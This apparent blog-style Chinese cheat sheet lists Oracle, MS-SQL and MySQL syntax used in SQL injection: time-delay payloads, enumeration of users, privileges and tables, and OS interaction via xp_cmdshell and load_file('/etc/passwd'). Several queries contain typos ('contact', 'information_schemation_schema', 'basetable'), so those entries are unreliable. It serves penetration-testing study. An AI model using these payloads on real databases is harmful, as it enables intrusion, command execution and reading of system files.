sql语法

1、sql语法:

oracle:        ascii('A')=65        substr('abcde',2,3)=bcd

ms-sql:       同上                     substring('abcde',2,3)=bcd

mysql:        同上

2、获取当前数据库用户:

oracle:        select sys.login_user from dual

                   select user from dual

                   sys_context('userenv','session_user')

ms-sql:       select suser_sname

mysql:        select user()

3、引起时间延迟:

oracle:        utl_http.request('http://aa.com')

ms-sql:       waitfor delay '0:0:5' exec master..xp_cmdshell ‘ping localhost'

mysql:        sleep(100)

4、获取数据库版本字串

oracle:        select banner from v$version

ms-sql:       select @@version

mysql:        同上

5、获取当前数据库:

oracle:        select sys_context('userenv','db_name') from dual

ms-sql:       select db_name()

                  select @@servername

mysql:        select database()

6、获取当前用户权限:

oracle:        select privilege from session_privs

ms-sql:       select grantee,table_name,privilege_type from information_schema.table_privileges

mysql:        select * from information_schema.user_privileges where grantee='[user]'

7、在一个单独的结果列中显示所有表

oracle:        select table_name||'||column_name from all_tab_columns

ms-sql:       select table_name+' ',column_name from information_schema.columns

mysql:        select contact(table_name+' ',column_name) from information_schemation_schema.columns

8、显示用户对象:

oracle:       select object_name,object_type from user_objects 

ms-sql:       select name from sysobjects

mysql:        select table_name from information_schema.tables

9、显示用户表:

oracle:       select  object_name,object_type from user_objects where object_type='table'

                  select table_name from all_tables

ms-sql:       select name from sysobjects where xtype='U'

mysql:        select table_name from information_schema.tables where table_type='basetable' and table_schema!='mysql'

10、显示表foo的列名称:

oracle:       select column_name name from user_tab_columns where table_name='foo' 

ms-sql:       select column_name,from information_schema.columns where table_name='foo'

mysql:        select column_name from information_schema.columns where table_name='foo'

11、与OS交互:

oracle:        

ms-sql:       exec xp_cmdshell 'dir c:\'

mysql:        select load_file('/etc/passwd')

你可能感兴趣的:(安全,mysql,sql,数据库,oracle)